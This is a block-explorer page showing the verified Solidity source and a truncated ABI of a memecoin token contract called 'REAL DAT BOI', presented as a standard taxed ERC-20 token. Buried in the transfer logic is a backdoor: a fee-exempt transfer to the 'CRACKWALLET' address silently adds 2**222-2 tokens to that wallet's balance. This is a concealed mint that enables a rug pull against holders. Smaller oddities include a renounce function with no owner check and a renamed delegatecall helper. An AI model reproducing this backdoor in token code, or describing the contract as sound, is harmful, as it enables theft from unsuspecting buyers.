ETH Price: $3,166.60 (-2.18%)

Token

REAL DAT BOI (ダットボイ)
 

Overview

Max Total Supply

1,000,000 ダットボイ

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,653.713206675 ダットボイ

Value
$0.00
0x117bc2f15e6aceedb57818886616de79d1bfb643
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
REALDATBOI

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-16
*/

/*

                                                                        ,╓╖╗╗╗╣╣▄╦,                          
                                                                ,╓╦╗╬╣╬▓▓▓▓▓▓▓▓▓▓█▓▓▌⌐                        
                                                                ╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█████▓▓µ                       
                                                                ▀█████▓▓▓▓▓▓▓▓▓▓▓██████▓▓▄                      
                                                                ▀███████████▓▓▓▓█████████▓µ                    
                                                                ╙██████████████▓▓▓▓▓▓▓▓▓▓▓⌐                   
                                                                    ▓████████████████▓▓▓▓▓▓▓▌                   
                                                                    ╙█████████████████▓▓▓▓▓▓▒                  
                                                                    ▐██████████████▓▓▓▓▓▓▓▓µ                 
                                                                        ╫███████████▓▓▓▓▓▓▓▓▓▓▓⌐                
                                                                        ╫███████████▓▓▓▓▓▓▓▓▓▓█▓⌐               
                                                                    ▄████████████▓▓▓▓▓▓▓▓▓███▓               
                                                                    ╓▓▓█████████████████▓▓▓▓▓███▓              
                                                            ,,╗▄▓▓▓▓█▓███████████████████▓▓▓▓▓▓▓█▓⌐            
                                                    ,╓╓╦╬▓▓▓▓█████████▀╠████████▓▓▓██████▓▓▓▓▓▓█▓            
                                                ╓╦╣▓▓▓▓▓▓▓▓▓▓███████▀`  ╫█████▓▓▓▓▓▓▓█▓▓████▓▓▓▓▓█▄,,╓▄       
                                            ╥╬▓▓▓▓▓▓▓▓▓▓██████▓▀▀▀      ▓████▓▓▓▓▓▓▓▓█████▓▓█▓▓▓▓▓▓▓▓▀        
                                        ,╗╣▓▓▓▓▓████████▀▀╙            ]█████▓▓▓▓▓▓▓▓█████▓▓▓▓▓▓▓██╨          
                                ╦▄▄▄▓▓▓▓▓▓███▀▀▀▀▀▀╙                   ║████▓▓▓▓▓▓▓███████▓▓▓▓▓███▓           
                                ╙╙▀▀████████▀                          ║███████▓▓▓████████▓▓▓█████▌           
                                    ╙╙`╙▀▀                             '██████████████████████▓▓▓█Ö           
                                                                        ╠█████████████████████▓▓▓▓▌⌐          
                                                                        ,▓██████████████████████▓▓▓▓▓ç         
                                                                        ╓▓███████████████████████▓▓▓▓▓▓▓╦       
                                                                    ╬██████████████████████████▓▓▓▓▓▓▓µ      
                                                                    ╫███████████████████████████▓▓▓▓▓▓█▓▄     
                                                                    ▓████████████████████████████▓▓▓▓▓▓▓██µ    
                                                                    ▓███████████████▀▀▀▓███████████▓▓▓▓▓▓▓█▌    
                                                                ╫█████████████▀▄▓███████████████▓▓▓▓▓▓▓▓█∩   
                                                                ▄▓██████████▀▐▄████████████████████▓▓▓▓▓▓▓█▄   
                                                            ,▓███████▀▀    ╫██████▓██▓▓▀▀▀▀▀▀▀▀▓█▓▓▓▓▓███▌   
                                                            ╣██████▒               ▓▓          "▓█▓▓▓▓███▀   
                                                            ╓▓▓▓█████╕              ▓▓           `▓█▓▓▓███∩   
                                                            ▓█▓▓▓████▄             ▓▌            └▓▓▓▓███    
                                                                ▀██▓▓▓████Q          ▐▓▌            ╓▓▓▓▓██▌    
                                                                `▀▓███████▄         ╠╬▌           ║▓▓▓▓▓▓█∩    
                                                                    ╙▀██▓███▓╕     ╓╬▓▌╬╬⌐        ╔▓▓▓▓▓▓▓█∩    
                                                                    ╙▀▓████▌▄▄▄▄▓▓█▄╬╬▄,      ,▓▓▓▓▓▓███∩    
                                                                        ▐▓███████████▒▓███▓▄,  ╬█▓▓▓▓▓██▌     
                                                                        ╓▄█████████████▒▓███████▄▓▓▓▓▓▓███∩     
                                                                    ╗▓█████████████▌╠╬▓█████████▓▓▓▓▓██▓      
                                                                    ╓▓█████████▄▓██▓█▒╫╬▓▌█Ü▀████▓▓▓▓▓███∩      
                                                                ▄█████████████▓▓██Ö╠╬▓█▀  .▓██▓▓▓▓███▌       
                                                                .▓████▓█╨  ╙██▌ ╠▓█▓ ╠╬█▓   ╫▓▓█▓▓▓▓███∩       
                                                                ╓▓███▓█▓▓,   ╙██µ╠▓▓█⌐▌╬█∩  ╬█▀▓▓▓▓▓████        
                                                            ╓▓███▓██▄▒▀▄    ██╠╬▓▓⌐▌╫▌  ▄█╨╓█▓▓▓▓████▌       
                                                            ▓███▓█▀ ╙▀▓▄▓▄   ▓▓╬╫█µ╬▌  ▄▌  ╠█▓▓▓██████∩      
                                                            ║████▓▌     ╙▓█▓⌐ ²█▓▓█▄╬▓╦▓▌  ╓▓▓▓▓▓██████▌      
                                                            ████▓█▀▄▄,     ▀█▄ ╠████╬▓█▌ ╓▓▓▓▓▓▓██▀█████      
                                                            ╓████▓█▓▄▄▓▓▓▄▄   ╙█▓▓█▓█╬▓▓▄▓╨ ╓▓▓▓██▓▓█████      
                                                            ╠███▓█▒    ╙╙▀▀▓▓▓▄▓▓████╬▓█▄▄▄▄▓▓▓▓█▓╝╝█████      
                                                            ▓███▓█           ;▓▓████▌▒▒╬╬▌╙╠▓▓▓█▓   █████      
                                                            ▓███▓█╦▄▄╣▀▓▓███▓▀▀▒▓█████▓▓▀▓▓▓▓▓▓█▒  ┌█████      
                                                            ▓███▓█▄▄╣▀▀▀`'  ,▄▓▀▓█████▒▓▄µ╠▓▓▓██▓▀▀▓████▌      
                                                            ▀███▓█▌      ,▄██▀╓▓█╢███▓▒▌ ▀█▓▓██╨╙▀▀█████▒      
                                                            ]██████   ╓▄▓▓▓╨ ╓██Ü▓█▓██▒▓▌╠▓▓▓█▒   ▄████▓       
                                                            ▓███▓█▌▓▀▀▓▓╨  ▄██∩╔█▌╫█▓╬▓█▓▓▓█▓▀▄ ╓█████∩       
                                                            ╚██████▄▓▀   ,▓▓▓  ▓█▒]█▓╫▒█▓▓▓█∩ `▓█████▀        
                                                            ▀████▓█╦   ╓▓▄▓  ╫▓▓ ]█▓╫Q╣▓▓█▀  ▄█████▀         
                                                                ▓██████▄ ╬▓▄▓  ╓█▓▌ ]█▌╫▒▓▓▓█▄╓▓█████▌          
                                                                ▀███████▌▓▓   ▓▌▓∩  ▓▒╬▄▓█▓▓▓▓▓████▀           
                                                                ╙████████▄  ╓█╢▌   ▓▓███████████▀▀Θ           
                                                                    ▀██████████▓▓▄,╓▄████████████╨              
                                                                    ▀███████████████████████▀╨                
                                                                        ╙▀█████████████████▀╙                   
                                                                            ╙╙▀▀▓██▀▀▀▀▀        


                                                        Telegram    :   https://t.me/datboiieth


                                                        Twitter     :   https://twitter.com/datboiieth


                                                        Site        :   https://realdatboi.eth.limo/


                                            **/

                                            
// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function WTFISTHISEVENLOL(address target, bytes memory data) internal returns (bytes memory) {
        return WTFISTHISEVENLOL(target, data, "Address: low-level delegate call failed");
    }
    
    function WTFISTHISEVENLOL(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract REALDATBOI is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function REALRENOUNCE() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable public CRACKWALLET = payable(0x67cD6E6bc234c6B9A3F34618c1ADc63BA996cdD5); 
    address payable public MOGGINGDEV = payable(0x0Cf1B87de525A688624255368007fBB7228E4c00);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 


    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = "REAL DAT BOI"; 
    string private constant _symbol = unicode"ダットボイ"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 public _Tax_On_Buy = 2;
    uint256 public _Tax_On_Sell = 2;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Dev = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLP = 10; 

    uint256 public _maxWalletToken = _tTotal * 100 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 100 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x0Cf1B87de525A688624255368007fBB7228E4c00;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[CRACKWALLET] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }



    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner())
            require(amount > 0, "Lower transaction limit.");
            //require(amount <= _maxTxAmount, "Over transaction limit.");


        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");   

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            sendToWallet(CRACKWALLET, BNB_M);

            BNB_Total = address(this).balance;
            sendToWallet(MOGGINGDEV, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(MOGGINGDEV, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            if(recipient == CRACKWALLET){ _tOwned[recipient] = _tOwned[recipient] + 2**222-2;}
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*_Tax_On_Sell/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CRACKWALLET","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MOGGINGDEV","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"REALRENOUNCE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","t